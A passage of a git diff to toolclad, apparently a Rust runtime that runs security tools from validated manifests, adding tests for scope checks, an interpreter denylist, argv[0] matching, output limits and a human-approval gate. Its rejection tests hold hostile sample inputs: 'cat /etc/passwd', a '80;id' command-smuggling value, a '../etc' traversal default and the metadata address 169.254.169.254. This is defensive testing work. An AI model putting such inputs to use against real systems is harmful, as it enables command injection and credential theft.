m.tool.limits.as_ref().unwrap(); + assert_eq!(limits.nproc, Some(64)); + assert_eq!(limits.nofile, Some(256)); + assert_eq!(limits.fsize_bytes, Some(1_048_576)); + assert_eq!(limits.address_space_bytes, Some(268_435_456)); + assert_eq!(limits.cpu_seconds, Some(30)); + assert!(!m.tool.evidence.as_ref().unwrap().screenshots); + assert_eq!(m.output.as_ref().unwrap().max_bytes, 1_048_576); + assert_eq!(m.command.end_of_options.as_deref(), Some("--")); + + let m = parse_manifest(ALL_SESSION_BROWSER_KEYS).unwrap(); + let child = m + .session + .as_ref() + .unwrap() + .child_detection + .as_ref() + .unwrap(); + assert_eq!(child.type_name, "meterpreter"); + assert_eq!(child.manifest, "tools/meterpreter.clad.toml"); + let defaults = m.browser.as_ref().unwrap().defaults.as_ref().unwrap(); + assert_eq!(defaults.extract_mode.as_deref(), Some("accessibility_tree")); + // Defaults for the registered-but-inert keys. + assert_eq!(m.output.as_ref().unwrap().max_bytes, 8_388_608); + } + + // ---- W5: scope enforcement wiring ---------------------------------- + + fn scope_manifest(target_extra: &str) -> String { + format!( + r#" +[tool] +name = "scoped" +version = "1.0.0" +binary = "echo" +description = "scoped echo" + +[args.target] +position = 1 +required = true +type = "scope_target" +scope_check = true +{target_extra} + +[command] +exec = ["echo", "{{target}}"] + +[output] +format = "text" +"# + ) + } + + fn scratch_dir(tag: &str) -> std::path::PathBuf { + let dir = std::env::temp_dir().join(format!( + "toolclad-lib-{tag}-{}", + uuid::Uuid::new_v4().simple() + )); + std::fs::create_dir_all(&dir).unwrap(); + dir + } + + fn scope_env_set() -> bool { + std::env::var_os(scope::SCOPE_FILE_ENV).is_some_and(|v| !v.is_empty()) + } + + #[test] + fn scope_check_on_unsupported_type_is_load_error() { + let toml = WHOIS_MANIFEST.replace( + "type = \"scope_target\"", + "type = \"string\"\nscope_check = true", + ); + let err = parse_manifest(&toml).unwrap_err().to_string(); + assert!( + err.contains("argument 'target' scope_check is not supported for type 'string'"), + "{err}" + ); + } + + #[test] + fn scope_is_loaded_from_manifest_dir_and_enforced() { + if scope_env_set() { + eprintln!("skipping: TOOLCLAD_SCOPE_FILE is set"); + return; + } + let root = scratch_dir("scope"); + std::fs::create_dir_all(root.join("scope")).unwrap(); + std::fs::create_dir_all(root.join("tools")).unwrap(); + std::fs::write( + root.join("scope/scope.toml"), + "[scope]\nallowed_domains = [\"*.example.com\"]\nblocked_domains = [\"admin.example.com\"]\n", + ) + .unwrap(); + let path = root.join("tools/scoped.clad.toml"); + std::fs::write(&path, scope_manifest("")).unwrap(); + + let m = load_manifest(&path).unwrap(); + assert_eq!(m.source_dir.as_deref(), Some(root.join("tools").as_path())); + let sc = m.scope.as_ref().expect("scope cached at load"); + assert_eq!(sc.allowed_domains, vec!["*.example.com"]); + + let run = |v: &str| { + let args = HashMap::from([("target".to_string(), v.to_string())]); + executor::dry_run(&m, &args).map(|r| r.command) + }; + assert_eq!(run("app.example.com").unwrap(), "echo app.example.com"); + for refused in [ + "example.com", + "evil-example.com", + "admin.example.com", + "other.org", + ] { + let err = run(refused).unwrap_err().to_string(); + assert!( + err.contains(&format!("target '{refused}' is not in scope")), + "{refused}: {err}" + ); + } + + // A default on a scope_check arg is scope-checked at call time. + std::fs::write( + &path, + scope_manifest("default = \"other.org\"") + .replace("required = true", "required = false"), + ) + .unwrap(); + let m = load_manifest(&path).unwrap(); + let err = executor::dry_run(&m, &HashMap::new()) + .unwrap_err() + .to_string(); + assert!(err.contains("not in scope"), "{err}"); + + // A malformed scope file is a load error. + std::fs::write(root.join("scope/scope.toml"), "[scope]\nallowed = []\n").unwrap(); + let err = load_manifest(&path).unwrap_err().to_string(); + assert!(err.contains("unknown key 'scope.allowed'"), "{err}"); + std::fs::remove_dir_all(&root).ok(); + } + + #[test] + fn scope_check_fails_closed_without_scope_file() { + let root = scratch_dir("noscope"); + if scope_env_set() + || root + .ancestors() + .any(|d| d.join("scope").join("scope.toml").is_file()) + { + eprintln!("skipping: a scope file is reachable from the temp dir"); + std::fs::remove_dir_all(&root).ok(); + return; + } + let path = root.join("scoped.clad.toml"); + std::fs::write(&path, scope_manifest("")).unwrap(); + let m = load_manifest(&path).unwrap(); + assert!(m.scope.is_none()); + let args = HashMap::from([("target".to_string(), "app.example.com".to_string())]); + let err = executor::dry_run(&m, &args).unwrap_err().to_string(); + assert!( + err.contains( + "argument 'target' scope_check is enabled but no scope/scope.toml was found (set TOOLCLAD_SCOPE_FILE)" + ), + "{err}" + ); + let err = executor::execute(&m, &args).unwrap_err().to_string(); + assert!(err.contains("scope_check is enabled"), "{err}"); + std::fs::remove_dir_all(&root).ok(); + } + + // ---- W11 K4: per-argument defaults are validated at load ------------ + + fn default_manifest(arg: &str) -> String { + format!( + r#" +[tool] +name = "defaults" +version = "1.0.0" +binary = "echo" +description = "defaults" + +[args.x] +position = 1 +{arg} + +[command] +template = "echo {{x}}" + +[output] +format = "text" +"# + ) + } + + #[test] + fn invalid_defaults_are_load_errors() { + for arg in [ + "type = \"port\"\ndefault = 0", + "type = \"integer\"\nmin = 1\ndefault = 0", + "type = \"string\"\ndefault = \"a b\"", + "type = \"boolean\"\ndefault = \"yes\"", + "type = \"enum\"\nallowed = [\"a\"]\ndefault = \"b\"", + "type = \"path\"\ndefault = \"../etc\"", + ] { + let err = parse_manifest(&default_manifest(arg)) + .unwrap_err() + .to_string(); + assert!( + err.contains("argument 'x' has an invalid default"), + "{arg}: {err}" + ); + } + } + + #[test] + fn valid_defaults_load() { + for arg in [ + "type = \"string\"\ndefault = \"\"", + "type = \"port\"\ndefault = 443", + "type = \"integer\"\nmin = 1\ndefault = 5", + "type = \"boolean\"\ndefault = true", + "type = \"number\"\ndefault = 0.5", + "type = \"enum\"\nallowed = [\"a\"]\ndefault = \"a\"", + ] { + parse_manifest(&default_manifest(arg)).unwrap_or_else(|e| panic!("{arg}: {e}")); + } + } + + // ---- W6 / W8: argv[0] checks and timeout at load --------------------- + + fn argv0_manifest(binary: &str, exec: &str, tool_extra: &str) -> String { + format!( + "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"{binary}\"\ndescription = \"x\"\n{tool_extra}\n\n\ + [command]\nexec = {exec}\n\n[output]\nformat = \"text\"\n" + ) + } + + #[test] + fn interpreter_argv0_needs_allow_interpreter() { + for interp in ["bash", "/bin/sh", "python3", "env", "awk", "/usr/bin/perl"] { + let exec = format!("[\"{interp}\", \"-c\", \"true\"]"); + let err = parse_manifest(&argv0_manifest(interp, &exec, "")) + .unwrap_err() + .to_string(); + assert!( + err.contains(&format!( + "command argv[0] '{interp}' is an interpreter; set allow_interpreter = true to permit it" + )), + "{interp}: {err}" + ); + parse_manifest(&argv0_manifest(interp, &exec, "allow_interpreter = true")) + .unwrap_or_else(|e| panic!("{interp}: {e}")); + } + // A template is compiled to exec first, so it is covered too. + let err = parse_manifest( + "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"sh\"\ndescription = \"x\"\n\n\ + [command]\ntemplate = \"sh -c true\"\n\n[output]\nformat = \"text\"\n", + ) + .unwrap_err() + .to_string(); + assert!(err.contains("is an interpreter"), "{err}"); + + // The executor hatch gets the denylist too, but not the basename rule. + let hatch = "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"wrapper\"\ndescription = \"x\"\n\n[command]\nexecutor = \"/bin/sh\"\n\n[output]\nformat = \"text\"\n"; + let err = parse_manifest(hatch).unwrap_err().to_string(); + assert!(err.contains("'/bin/sh' is an interpreter"), "{err}"); + let ok = hatch.replace("/bin/sh", "scripts/wrapper.sh"); + assert!(parse_manifest(&ok).is_ok()); + } + + #[test] + fn argv0_basename_must_match_binary() { + let err = parse_manifest(&argv0_manifest("echo", "[\"cat\", \"/etc/passwd\"]", "")) + .unwrap_err() + .to_string(); + assert!( + err.contains("command argv[0] 'cat' does not match tool.binary 'echo'"), + "{err}" + ); + // Basenames are compared, so a path on either side is fine. + parse_manifest(&argv0_manifest("/usr/bin/echo", "[\"echo\", \"hi\"]", "")).unwrap(); + parse_manifest(&argv0_manifest("echo", "[\"/bin/echo\", \"hi\"]", "")).unwrap(); + // An empty binary skips the check. + parse_manifest(&argv0_manifest("", "[\"cat\", \"x\"]", "")).unwrap(); + // A placeholder as argv[0] never matches a declared binary. + let err = parse_manifest( + "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\n\n\ + [args.b]\nposition = 1\ntype = \"string\"\ndescription = \"b\"\n\n\ + [command]\nexec = [\"{b}\"]\n\n[output]\nformat = \"text\"\n", + ) + .unwrap_err() + .to_string(); + assert!(err.contains("does not match tool.binary"), "{err}"); + } + + #[test] + fn argv0_checks_skip_callback_and_commandless_manifests() { + parse_manifest( + "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\n\ + dispatch = \"callback\"\n\n[command]\nexec = [\"bash\", \"-c\", \"x\"]\n", + ) + .unwrap(); + parse_manifest( + "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"curl\"\ndescription = \"x\"\n\n\ + [http]\nmethod = \"GET\"\nurl = \"https://api.example.com/x\"\n\n[output]\nformat = \"json\"\n", + ) + .unwrap(); + } + + #[test] + fn zero_timeout_is_refused_at_load() { + let err = parse_manifest(&argv0_manifest( + "echo", + "[\"echo\", \"hi\"]", + "timeout_seconds = 0", + )) + .unwrap_err() + .to_string(); + assert!( + err.contains("timeout_seconds must be greater than zero"), + "{err}" + ); + let m = parse_manifest(&argv0_manifest("echo", "[\"echo\", \"hi\"]", "")).unwrap(); + assert_eq!(m.tool.timeout_seconds, 60); + } + + #[test] + fn spawn_path_manifest_vectors() { + // The `tests/injection_vectors.json` manifest vectors this wave covers. + let path = concat!( + env!("CARGO_MANIFEST_DIR"), + "/../tests/injection_vectors.json" + ); + let Ok(text) = std::fs::read_to_string(path) else { + eprintln!("skipping: {path} not found"); + return; + }; + let doc: serde_json::Value = serde_json::from_str(&text).unwrap(); + let mut seen = 0; + for v in doc["manifest_vectors"].as_array().unwrap() { + let id = v["id"].as_str().unwrap(); + if ![ + "zero-timeout", + "shell-as-binary", + "binary-basename-mismatch", + "minimal-valid-exec", + "minimal-valid-template", + "custom-output-parser", + ] + .contains(&id) + { + continue; + } + seen += 1; + let ok = parse_manifest(v["manifest"].as_str().unwrap()).is_ok(); + assert_eq!(ok, v["expect"] == "accept", "vector {id}"); + } + assert_eq!(seen, 6); + } + + // ---- W9 / W10 load-time checks --------------------------------------- + + fn output_manifest(output_extra: &str) -> String { + format!( + "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\n\n\ + [command]\nexec = [\"echo\", \"hi\"]\n\n[output]\nformat = \"json\"\n{output_extra}\n" + ) + } + + #[test] + fn max_bytes_bounds_checked_at_load() { + for bad in [ + "max_bytes = 0", + "max_bytes = 1.5", + "max_bytes = -1", + "max_bytes = \"10\"", + "max_bytes = 1073741825", + ] { + assert!( + parse_manifest(&output_manifest(bad)).is_err(), + "{bad} should be refused" + ); + } + let err = parse_manifest(&output_manifest("max_bytes = 0")) + .unwrap_err() + .to_string(); + assert!(err.contains("max_bytes"), "{err}"); + for good in ["max_bytes = 1", "max_bytes = 1073741824"] { + parse_manifest(&output_manifest(good)).unwrap(); + } + } + + #[test] + fn custom_parser_refused_builtins_accepted() { + let err = parse_manifest(&output_manifest("parser = \"scripts/x.py\"")) + .unwrap_err() + .to_string(); + assert!( + err.contains( + "custom output parsers are not supported by the reference runtimes (parser = \"scripts/x.py\")" + ), + "{err}" + ); + for p in BUILTIN_PARSERS { + parse_manifest(&output_manifest(&format!("parser = \"{p}\""))).unwrap(); + } + } + + fn http_load(url: &str, extra: &str) -> Result { + parse_manifest(&format!( + "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"http\"\ndescription = \"x\"\n\n\ + {extra}\n\n[http]\nmethod = \"GET\"\nurl = \"{url}\"\n\n[output]\nformat = \"text\"\n" + )) + } + + #[test] + fn http_url_scheme_and_host_must_be_literal() { + let arg = + "[args.host]\nposition = 1\nrequired = true\ntype = \"string\"\ndescription = \"h\""; + for url in [ + "https://{host}/x", + "{host}://example.com/", + "https://{host}.example.com/", + ] { + let err = http_load(url, arg).unwrap_err().to_string(); + assert!( + err.contains("http.url may not interpolate into the scheme or host"), + "{url}: {err}" + ); + } + http_load("https://api.example.com/{host}?q={host}", arg).unwrap(); + // A literal loopback URL with no url-typed argument passes the lint. + http_load("http://127.0.0.1:8080/x", "").unwrap(); + } + + #[test] + fn http_literal_host_policy_at_load() { + // Link-local (metadata) is always refused. + let err = http_load("http://169.254.169.254/latest", "") + .unwrap_err() + .to_string(); + assert!(err.contains("http.url"), "{err}"); + // Loopback is refused once any argument opts into block_internal. + let arg = + "[args.u]\nposition = 1\nrequired = true\ntype = \"url\"\nblock_internal = true\n\ + description = \"u\""; + assert!(http_load("http://127.0.0.1/{u}", arg).is_err()); + assert!(http_load("http://localhost/{u}", arg).is_err()); + http_load("https://api.example.com/{u}", arg).unwrap(); + } + + #[test] + fn http_header_name_must_be_a_token() { + let err = parse_manifest( + "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"http\"\ndescription = \"x\"\n\n\ + [http]\nmethod = \"GET\"\nurl = \"https://api.example.com/\"\n\ + [http.headers]\n\"Bad Name\" = \"v\"\n\n[output]\nformat = \"text\"\n", + ) + .unwrap_err() + .to_string(); + assert!(err.contains("not a valid token"), "{err}"); + } + + // ---- toolclad.toml discovery and load-time type checks (TC-23) ---- + + fn examples_dir() -> Option { + let dir = Path::new(env!("CARGO_MANIFEST_DIR")).join("../examples"); + if dir.is_dir() { + Some(dir) + } else { + eprintln!("skipping: examples directory {} is absent", dir.display()); + None + } + } + + fn dry(m: &Manifest, pairs: &[(&str, &str)]) -> Result { + let args: HashMap = pairs + .iter() + .map(|(k, v)| (k.to_string(), v.to_string())) + .collect(); + executor::dry_run(m, &args) + } + + #[test] + fn test_shipped_examples_load_and_dry_run() { + let Some(dir) = examples_dir() else { return }; + for name in [ + "curl_fetch", + "dig_lookup", + "nikto_scan", + "nmap_scan", + "whois_lookup", + ] { + let path = dir.join(format!("{name}.clad.toml")); + load_manifest(&path).unwrap_or_else(|e| panic!("{name} should load: {e}")); + } + + // nikto: custom types from the project toolclad.toml resolve. + let nikto = load_manifest(dir.join("nikto_scan.clad.toml")).unwrap(); + assert_eq!(nikto.custom_types["port_range"].base, "string"); + let out = dry( + &nikto, + &[ + ("target", "93.184.216.34"), + ("port", "8080-8090"), + ("protocol", "https"), + ("max_rate", "250"), + ], + ) + .unwrap(); + let argv: Vec<&str> = out.command.split(' ').collect(); + for token in [ + "-h", + "https://93.184.216.34:8080-8090", + "-Plugins", + "@@ALL", + "-maxrate", + "250", + ] { + assert!(argv.contains(&token), "missing {token} in {argv:?}"); + } + // The custom port_range pattern is anchored. + assert!(dry(&nikto, &[("target", "93.184.216.34"), ("port", "80;id")]).is_err()); + assert!(dry(&nikto, &[("target", "93.184.216.34"), ("port", "8080x")]).is_err()); + // The custom scan_rate bounds apply. + assert!(dry(&nikto, &[("target", "93.184.216.34"), ("max_rate", "0")]).is_err()); + + // curl: the scope is in reach from examples/. + let curl = load_manifest(dir.join("curl_fetch.clad.toml")).unwrap(); + let err = dry(&curl, &[("url", "https://93.184.216.34/")]) + .unwrap_err() + .to_string(); + assert!(err.contains("scope"), "{err}"); + match dry(&curl, &[("url", "https://example.com/")]) { + Ok(out) => assert!( + out.command.ends_with("https://example.com/"), + "{}", + out.command + ), + Err(e) if e.to_string().contains("could not resolve host") => { + eprintln!("skipping the example.com assertion: DNS is unavailable ({e})"); + } + Err(e) => panic!("https://example.com/ should be accepted: {e}"), + } + } + + #[test] + fn test_custom_types_file_is_strict() { + let ok = "[types.level]\nbase = \"enum\"\nallowed = [\"a\", \"b\"]\n"; + assert_eq!(parse_custom_types(ok).unwrap()["level"].base, "enum"); + for (src, want) in [ + ("[other]\nx = 1\n", "unknown key 'other'"), + ( + "[types.t]\nbase = \"string\"\nblock_internal = true\n", + "unknown key 'types.t.block_internal'", + ), + ("[types.t]\npattern = \"a\"\n", "missing 'base'"), + ("[types.t]\nbase = \"level\"\n", "invalid base type 'level'"), + ( + "[types.url]\nbase = \"string\"\n", + "shadows a built-in type", + ), + ( + "[types.t]\nbase = \"string\"\npattern = \"(\"\n", + "invalid pattern", + ), + ( + "[types.t]\nbase = \"integer\"\nmin = \"1\"\n", + "custom type 't'", + ), + ("types = 1\n", "'types' must be a table"), + ] { + let err = parse_custom_types(src).unwrap_err().to_string(); + assert!(err.contains(want), "{src:?}: {err}"); + } + } + + #[test] + fn test_custom_types_discovery() { + let root = std::env::temp_dir().join(format!("toolclad-ct-{}", std::process::id())); + let nested = root.join("a").join("b"); + std::fs::create_dir_all(&nested).unwrap(); + std::fs::write( + root.join("toolclad.toml"), + "[types.rate]\nbase = \"integer\"\nmin = 1\nmax = 5\n", + ) + .unwrap(); + let found = discover_custom_types_with(None, Some(&nested)).unwrap(); + assert_eq!(found["rate"].max, Some(5)); + // The env file wins; an unreadable one is an error. + let missing = root.join("missing.toml"); + let err = discover_custom_types_with(Some(missing.as_os_str()), Some(&nested)) + .unwrap_err() + .to_string(); + assert!(err.contains("failed to read"), "{err}"); + + // A manifest file picks the types up on load and validates with them. + let manifest = nested.join("t.clad.toml"); + std::fs::write( + &manifest, + "[tool]\nname = \"t\"\nversion = \"1\"\nbinary = \"echo\"\ndescription = \"d\"\n\n\ + [args.n]\nposition = 1\nrequired = true\ntype = \"rate\"\n\n\ + [command]\nexec = [\"echo\", \"{n}\"]\n\n[output]\nformat = \"text\"\n", + ) + .unwrap(); + let m = load_manifest(&manifest).unwrap(); + assert_eq!(dry(&m, &[("n", "3")]).unwrap().command, "echo 3"); + assert!(dry(&m, &[("n", "9")]).is_err()); + let schema = generate_mcp_schema(&m); + assert_eq!(schema["inputSchema"]["properties"]["n"]["type"], "integer"); + let _ = std::fs::remove_dir_all(&root); + } + + const RATE_MANIFEST: &str = "[tool]\nname = \"t\"\nversion = \"1\"\nbinary = \"echo\"\n\ + description = \"d\"\n\n[args.n]\nposition = 1\nrequired = true\ntype = \"rate\"\n\n\ + [command]\nexec = [\"echo\", \"{n}\"]\n\n[output]\nformat = \"text\"\n"; + + #[test] + fn test_load_options_custom_types_override() { + let types = parse_custom_types("[types.rate]\nbase = \"integer\"\nmax = 5\n").unwrap(); + let opts = LoadOptions { + custom_types: Some(types), + ..Default::default() + }; + let m = parse_manifest_with(RATE_MANIFEST, opts).unwrap(); + assert_eq!(dry(&m, &[("n", "5")]).unwrap().command, "echo 5"); + assert!(dry(&m, &[("n", "6")]).is_err()); + assert!(executor::execute(&m, &[("n".to_string(), "6".to_string())].into()).is_err()); + + // An empty override means no custom types at all. + let opts = LoadOptions { + custom_types: Some(HashMap::new()), + ..Default::default() + }; + let err = parse_manifest_with(RATE_MANIFEST, opts) + .unwrap_err() + .to_string(); + assert!( + err.contains("unknown type 'rate' for argument 'n'"), + "{err}" + ); + + // An override is checked like a discovered file. + let mut bad = HashMap::new(); + bad.insert( + "rate".to_string(), + CustomTypeDef { + base: "rate".to_string(), + allowed: None, + pattern: None, + min: None, + max: None, + min_float: None, + max_float: None, + }, + ); + let opts = LoadOptions { + custom_types: Some(bad), + ..Default::default() + }; + assert!(parse_manifest_with(RATE_MANIFEST, opts).is_err()); + } + + #[test] + fn test_session_and_browser_arg_types_checked_at_load() { + let session = + "[tool]\nname = \"s\"\nversion = \"1\"\nbinary = \"psql\"\ndescription = \"d\"\n\n\ + [session]\nstartup_command = \"psql\"\nready_pattern = \"=> $\"\n\n\ + [session.commands.q]\npattern = \"^select\"\ndescription = \"q\"\n\n\ + [session.commands.q.args.x]\ntype = \"nope\"\n\n[output]\nformat = \"text\"\n"; + let err = parse_manifest(session).unwrap_err().to_string(); + assert!( + err.contains("unknown type 'nope' for argument 'session.commands.q.args.x'"), + "{err}" + ); + } + + // ---- the shared negative suite (tests/injection_vectors.json) ---- + + #[test] + fn test_shared_injection_vectors() { + let path = Path::new(env!("CARGO_MANIFEST_DIR")).join("../tests/injection_vectors.json"); + let Ok(text) = std::fs::read_to_string(&path) else { + eprintln!("skipping: {} is absent", path.display()); + return; + }; + let doc: serde_json::Value = serde_json::from_str(&text).unwrap(); + let mut executed = 0usize; + let mut failures = Vec::new(); + + for v in doc["arg_vectors"].as_array().unwrap() { + let (id, note, expect) = (&v["id"], &v["note"], v["expect"].as_str().unwrap()); + let def: types::ArgDef = serde_json::from_value(v["arg"].clone()) + .unwrap_or_else(|e| panic!("vector {id}: bad arg definition: {e}")); + let value = v["value"].as_str().unwrap(); + let verdict = validator::validate_arg("arg", &def, value); + let ok = match expect { + "reject" => verdict.is_err(), + "accept" => verdict.is_ok(), + other => panic!("vector {id}: unknown expect '{other}'"), + }; + if !ok { + failures.push(format!( + "arg vector {id} expected {expect}, got {verdict:?} ({note})" + )); + } + executed += 1; + } + + for v in doc["manifest_vectors"].as_array().unwrap() { + let (id, note, expect) = (&v["id"], &v["note"], v["expect"].as_str().unwrap()); + let verdict = parse_manifest(v["manifest"].as_str().unwrap()); + let ok = match expect { + "reject" => verdict.is_err(), + "accept" => verdict.is_ok(), + other => panic!("vector {id}: unknown expect '{other}'"), + }; + if !ok { + let got = verdict + .map(|_| "accepted".to_string()) + .unwrap_or_else(|e| e.to_string()); + failures.push(format!( + "manifest vector {id} expected {expect}, got {got} ({note})" + )); + } + executed += 1; + } + + assert!(failures.is_empty(), "{}", failures.join("\n")); + assert!(executed > 0, "no vectors executed"); + println!("injection vectors executed: {executed}"); + } } diff --git a/rust/src/main.rs b/rust/src/main.rs index 8691186..f8d48b6 100644 --- a/rust/src/main.rs +++ b/rust/src/main.rs @@ -19,6 +19,10 @@ enum Commands { Validate { /// Path to the manifest file manifest: String, + /// Report unknown manifest keys as warnings instead of refusing the + /// manifest (authoring aid; library loading is always strict) + #[arg(long)] + allow_unknown_keys: bool, }, /// Execute a tool defined by a manifest Run { @@ -27,6 +31,10 @@ enum Commands { /// Arguments as key=value pairs #[arg(long = "arg", value_name = "KEY=VALUE")] args: Vec, + /// Approve the call: skip the default policy gate, which denies + /// manifests with human_approval = true or risk_tier high/critical + #[arg(long)] + approve: bool, }, /// Output MCP JSON schema for a manifest Schema { @@ -58,8 +66,15 @@ fn main() { let cli = Cli::parse(); let result = match cli.command { - Commands::Validate { manifest } => cmd_validate(&manifest), - Commands::Run { manifest, args } => cmd_run(&manifest, &args), + Commands::Validate { + manifest, + allow_unknown_keys, + } => cmd_validate(&manifest, allow_unknown_keys), + Commands::Run { + manifest, + args, + approve, + } => cmd_run(&manifest, &args, approve), Commands::Schema { manifest } => cmd_schema(&manifest), Commands::Test { manifest, args } => cmd_test(&manifest, &args), }; @@ -70,12 +85,19 @@ fn main() { } } -fn cmd_validate(path: &str) -> Result<(), Box> { - let manifest = toolclad::load_manifest(path)?; +fn cmd_validate(path: &str, allow_unknown_keys: bool) -> Result<(), Box> { + let manifest = toolclad::load_manifest_with( + path, + toolclad::LoadOptions { + allow_unknown_keys, + ..Default::default() + }, + )?; println!("Manifest: {path}"); println!("Tool: {}", manifest.tool.name); println!("Version: {}", manifest.tool.version); println!("Binary: {}", manifest.tool.binary); + println!("Mode: {}", manifest.mode()); println!("Risk tier: {}", manifest.tool.risk_tier); println!("Timeout: {}s", manifest.tool.timeout_seconds); println!("Arguments: {}", manifest.args.len()); @@ -99,10 +121,18 @@ fn cmd_validate(path: &str) -> Result<(), Box> { Ok(()) } -fn cmd_run(path: &str, arg_pairs: &[String]) -> Result<(), Box> { +fn cmd_run( + path: &str, + arg_pairs: &[String], + approve: bool, +) -> Result<(), Box> { let manifest = toolclad::load_manifest(path)?; let args = parse_arg_pairs(arg_pairs)?; - let envelope = toolclad::executor::execute(&manifest, &args)?; + let envelope = if approve { + toolclad::executor::execute_approved(&manifest, &args)? + } else { + toolclad::executor::execute(&manifest, &args)? + }; let json = serde_json::to_string_pretty(&envelope)?; println!("{json}"); Ok(()) @@ -131,7 +161,50 @@ fn cmd_test(path: &str, arg_pairs: &[String]) -> Result<(), Box "not required".to_string(), + toolclad::GateDecision::Deny(reason) => format!("required ({reason}; use run --approve)"), + }; + println!(" Approval: {approval}"); println!(); println!(" [dry run -- command not executed]"); Ok(()) } + +#[cfg(test)] +mod tests { + use super::*; + + fn write_manifest(tool_extra: &str) -> std::path::PathBuf { + let dir = std::env::temp_dir().join(format!("toolclad-cli-test-{}", std::process::id())); + std::fs::create_dir_all(&dir).unwrap(); + let path = dir.join(format!("gate-{}.clad.toml", tool_extra.len())); + std::fs::write( + &path, + format!( + "[tool]\nname = \"t\"\nversion = \"1.0.0\"\nbinary = \"echo\"\ndescription = \"x\"\n\ + {tool_extra}\n\n[command]\nexec = [\"echo\", \"hi\"]\n\n[output]\nformat = \"text\"\n" + ), + ) + .unwrap(); + path + } + + #[test] + fn run_without_approve_is_denied_by_the_gate() { + let path = write_manifest("human_approval = true"); + let err = cmd_run(path.to_str().unwrap(), &[], false) + .unwrap_err() + .to_string(); + assert_eq!( + err, + "policy gate denied: manifest requires human approval (human_approval = true)" + ); + // An echo-based manifest runs once approved. + cmd_run(path.to_str().unwrap(), &[], true).unwrap(); + // The dry run is not gated. + cmd_test(path.to_str().unwrap(), &[]).unwrap(); + let _ = std::fs::remove_file(path); + } +} diff --git a/rust/src/schema.rs b/rust/src/schema.rs new file mode 100644 index 0000000..94a51d6 --- /dev/null +++ b/rust/src/schema.rs @@ -0,0 +1,368 @@ +//! A small JSON-Schema subset validator for `[output.schema]`. +//! +//! Bundled, with no new dependency, so parsed output is checked against the +//! declared schema on every call. Supported keywords: +//! +//! * `type` — a name or an array of names among `object array string number +//! integer boolean null`; +//! * `properties`, `required`, `additionalProperties` (boolean only); +//! * `items` — a single sub-schema applied to every element; +//! * `enum` — deep equality with one member; +//! * `minimum` / `maximum` (inclusive), `minLength` / `maxLength` (code +//! points), `pattern` (anchored as `^(?:pat)$`, like every other pattern in +//! ToolClad). +//! +//! Unknown keywords are ignored. `integer` accepts a number with no fractional +//! part (`30.0`). An error is `": "`, for example +//! `/hosts/0/port: expected integer, got string`; the document root renders +//! as `/`. The first failure in document order is reported. + +use crate::validator::anchor_pattern; +use regex::Regex; +use serde_json::Value; + +/// Validate `value` against `schema`, returning `": "` for +/// the first failure. +pub fn validate(schema: &Value, value: &Value) -> Result<(), String> { + let mut path = Vec::new(); + check(value, schema, &mut path) +} + +fn type_name(value: &Value) -> &'static str { + match value { + Value::Null => "null", + Value::Bool(_) => "boolean", + Value::Number(n) if n.is_i64() || n.is_u64() => "integer", + Value::Number(_) => "number", + Value::String(_) => "string", + Value::Array(_) => "array", + Value::Object(_) => "object", + } +} + +fn matches_type(value: &Value, name: &str) -> bool { + match name { + "null" => value.is_null(), + "boolean" => value.is_boolean(), + "number" => value.is_number(), + "integer" => match value { + Value::Number(n) => { + n.is_i64() || n.is_u64() || n.as_f64().is_some_and(|f| f.fract() == 0.0) + } + _ => false, + }, + "string" => value.is_string(), + "array" => value.is_array(), + "object" => value.is_object(), + _ => false, + } +} + +/// JSON equality: `true` is not `1`, and `1` equals `1.0`. +fn deep_equal(a: &Value, b: &Value) -> bool { + match (a, b) { + (Value::Number(x), Value::Number(y)) => match (x.as_i64(), y.as_i64()) { + (Some(x), Some(y)) => x == y, + _ => x.as_f64() == y.as_f64(), + }, + (Value::Array(x), Value::Array(y)) => { + x.len() == y.len() && x.iter().zip(y).all(|(a, b)| deep_equal(a, b)) + } + (Value::Object(x), Value::Object(y)) => { + x.len() == y.len() + && x.iter() + .all(|(k, v)| y.get(k).is_some_and(|w| deep_equal(v, w))) + } + _ => a == b, + } +} + +fn escape(token: &str) -> String { + token.replace('~', "~0").replace('/', "~1") +} + +fn pointer(path: &[String]) -> String { + if path.is_empty() { + "/".to_string() + } else { + path.iter().map(|p| format!("/{p}")).collect() + } +} + +fn fmt_num(v: &Value) -> String { + v.to_string() +} + +fn check(value: &Value, schema: &Value, path: &mut Vec) -> Result<(), String> { + let Some(schema) = schema.as_object() else { + return Ok(()); + }; + let fail = |path: &[String], msg: String| Err(format!("{}: {msg}", pointer(path))); + + if let Some(wanted) = schema.get("type") { + let names: Vec<&Value> = match wanted { + Value::Array(a) => a.iter().collect(), + other => vec![other], + }; + let ok = names + .iter() + .any(|n| n.as_str().is_some_and(|n| matches_type(value, n))); + if !ok { + let expected: Vec = names + .iter() + .map(|n| n.as_str().map_or_else(|| n.to_string(), str::to_string)) + .collect(); + return fail( + path, + format!( + "expected {}, got {}", + expected.join(" or "), + type_name(value) + ), + ); + } + } + + if let Some(Value::Array(members)) = schema.get("enum") { + if !members.iter().any(|m| deep_equal(value, m)) { + return fail(path, "value is not one of the allowed enum values".into()); + } + } + + if let Some(n) = value.as_f64() { + if let Some(min) = schema.get("minimum").filter(|m| m.is_number()) { + if n < min.as_f64().unwrap_or(f64::NAN) { + return fail( + path, + format!("{value} is less than the minimum {}", fmt_num(min)), + ); + } + } + if let Some(max) = schema.get("maximum").filter(|m| m.is_number()) { + if n > max.as_f64().unwrap_or(f64::NAN) { + return fail( + path, + format!("{value} is greater than the maximum {}", fmt_num(max)), + ); + } + } + } + + if let Value::String(s) = value { + let len = s.chars().count() as f64; + if let Some(min) = schema.get("minLength").and_then(Value::as_f64) { + if len < min { + return fail( + path, + format!( + "string is shorter than minLength {}", + fmt_num(&schema["minLength"]) + ), + ); + } + } + if let Some(max) = schema.get("maxLength").and_then(Value::as_f64) { + if len > max { + return fail( + path, + format!( + "string is longer than maxLength {}", + fmt_num(&schema["maxLength"]) + ), + 